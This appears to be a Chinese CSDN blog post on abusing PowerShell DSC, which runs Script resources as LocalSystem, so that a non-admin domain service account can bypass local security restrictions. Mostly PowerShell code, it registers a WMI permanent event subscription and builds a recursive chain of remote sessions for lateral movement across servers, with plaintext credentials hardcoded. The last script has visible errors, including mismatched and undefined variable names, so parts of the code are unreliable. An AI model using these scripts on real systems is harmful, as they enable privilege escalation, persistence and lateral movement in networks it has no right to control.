利用Powershell DSC绕过PSSession和域账号的安全限制

这里介绍一种比较Tricky的绕过域账号本地安全限制的方式。

利用Powershell DSC执行时使用LocalSystem权限的特点,进而可以通过域账号或者域ServiceAccount(具有administrator权限), 绕过域账号安全限值,进行本地最高权限账户才能进行敏感操作。如之前

在域账号的PSSession(WSMan)中执行相关“不受限”的操作,如

使用SQLPS中的IntegratedSecurity登陆SQLServer, 修改LUA, 操作System32目录,或者使用域账号进行本地wmi 永久事件注册, 等等

首先你需要了解下 Powershell DSC, 不了解的同学也可以不去深究它, 感兴趣的同学可以参考 专题:

PowerShell DSC 学习系列

或者微软 https://docs.microsoft.com/en-us/powershell/dsc/overview

 

先来看一个例子, 这是一个简单的DSC Configuration. 由Configuration关键字声明的一个 'LocalTest' 的实例,这个是配置实例将被配置在localhost 这个Node(server)上。

在localhost这个配置节点中,只有一个Script Resource的实例,实例名为ScriptNameForThisResource。 

Script 这个Resource可以用来执行任意脚本,而且是合法的。我们只需要将想要执行的脚本放在TestScript中就OK.

if(-not (test-path "c:\dsc")){
    New-Item -Path c:\ -name dsc -type directory
}
configuration  LocalTest{
  Import-DscResource –ModuleName 'PSDesiredStateConfiguration'
   Node localhost
   {
      Script ScriptNameForThisResource {
        GetScript = {$null}
        TestScript ={
            Write-Verbose "Current User is $($env:USERNAME)"
            Write-Verbose "This is a local test"
            return $true
        }
        SetScript = { }
      }
   }
} 
cd c:\dsc
LocalTest 
Start-DscConfiguration -Path C:\dsc\LocalTest\ -Verbose -Force -Wait

执行结果显示当前的用户是 Computername$. 这个就是LocalSystem账号,是windows操作系统内置的一个账号,这个账户的权限和本地administrator几乎一样

这里我执行这个Configuration的时候使用的是域账号,而且是受限的,不在本地administrator组中的一个ServiceAccount. 利用DSC 直接套上了LocalSystem的马甲。

下面就可以将注册本地wmi永久事件的代码嵌入TestScript中

if(-not (test-path "c:\dsc")){
    New-Item -Path c:\ -name dsc -type directory
}
configuration  LocalTest{
  Import-DscResource –ModuleName 'PSDesiredStateConfiguration'
   Node localhost
   {
      Script ScriptNameForThisResource {
        GetScript = {$null}
        TestScript ={
            Write-Verbose "Current User is $($env:USERNAME)"
            Write-Verbose "This is a local test"
            $computer = "localhost"
            $filterNS = "root\cimv2"
            $wmiNS = "root\subscription"
            $query = "SELECT * FROM __InstanceModificationEvent WITHIN 5 
                WHERE TargetInstance ISA 'Win32_Service' 
                    and TargetInstance.Name = 'Winrm' 
            and TargetInstance.State = 'Stopped'"
            $filter = Set-WmiInstance -Class __EventFilter `
             -ComputerName  "localhost" -Namespace "root\subscription" -Arguments `
              @{
                name='WinrmFilter'; 
                EventNameSpace="root\cimv2"; 
                QueryLanguage="WQL";
                Query=$query
               }
            Write-Verbose "Filter Created"
            $Consumer = Set-WmiInstance -Class CommandLineEventConsumer `
             -ComputerName "localhost" -Namespace "root\subscription" `
             -Arguments @{name="WinrmDeamon";
              CommandLineTemplate = { powershell '
                    $logPath="C:\setup\WinrmEvent.txt"
                    Winrm quickconfig /q >> logPath
                    get-date >> logPath
                    ' 
               } ;
               ExecutablePath= 'C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe'
             }
            Write-Verbose "Consumer Created"
            $Binding = Set-WmiInstance -Class __FilterToConsumerBinding -ComputerName 'localhost' `
              -Namespace "root\subscription" -arguments @{Filter=$filter; Consumer=$Consumer} 
            Write-Verbose "Binding Success"
            return $true
        }
        SetScript = { }
      }
   }
} 
cd c:\dsc
LocalTest 
Start-DscConfiguration -Path C:\dsc\LocalTest\ -Verbose -Force -Wait

执行结果可以看到成功绑定了事件。

 

有了上面的常识,就可以引申出DSC的另一个奥秘, 利用DSC进行PSSession的横向移动,

PSSession 是通过WSMan进行通讯的, 通常情况下

ServerA -> ServerB 的Session中是无法访问 ServerC 的,这是powershell的一种安全策略。当然想要通过二级跳实现多集session 访问,可以参考

https://blogs.technet.microsoft.com/ashleymcglone/2016/08/30/powershell-remoting-kerberos-double-hop-solved-securely/

其中有多种方式可以实现多级session. 接下来开始DSC中的多级session尝试

创建Session的代码

$password = 'password' | ConvertTo-SecureString -AsPlainText -Force
$credential = [System.Management.Automation.PSCredential]::new('domain\username',$password)
$session = New-PSSession -Computer 'computername' -Credential $credential 

完整的代码

param([string[]]$servernames=[string[]]$env:computernanme)
if(-not (test-path "c:\dsc")){
    New-Item -Path c:\ -name dsc -type directory
}
$tempFolder="c:\dsc"
$currentFile="$PSScriptRoot\localconf.ps1"
$servername = $servername | select -First 1
$RestServernames = $servername | select -Skip 1
configuration  LocalTest{
  Import-DscResource –ModuleName 'PSDesiredStateConfiguration'
   Node $env:computernanme
   {
      Script ScriptNameForThisResource {
        GetScript = {$null}
        TestScript ={
            if($servername -eq $env:computername){
                return $true
            }
            $password = 'password' | ConvertTo-SecureString -AsPlainText -Force
            $credential = [System.Management.Automation.PSCredential]::new('domain\username',$password)
            $session = New-PSSession -Computer $computerName -Credential $credential 
            Copy-Item -ToSession $session -Path $using:currentFile -Destination $using:tempFolder
            Invoke-Command -Session $session -ScriptBlock {
                param($filepath,$servernames)
                & "$using:tempFolder\localconf.ps1" -servernames $using:RestServernames
            } -ArgumentList $usingtempFolder
        }
        SetScript = { }
      }
   }
} 
cd $tempFolder
LocalTest 
Start-DscConfiguration -Path "$tempFolder\LocalTest\" -Verbose -Force -Wait

上面脚本最终会实现链式Session, 即从ServerA->ServerB->ServerC->...ServerN. 每一个server在DSC执行期间的仅创建一个Session. 每个Session递归式的执行脚本,直到所有的Server都完成配置。

这仅仅是一个简单的例子, 感兴趣的同学大可以尝试将这种链式Session, 改为树状Session, 因为DSC是单实例的,所以只能另求它法。 这种情况不妨考虑 DSC Pull Server + CustomDSCResource. 或者 CredSSP. 

©️2020 CSDN 皮肤主题: 大白 设计师:CSDN官方博客 返回首页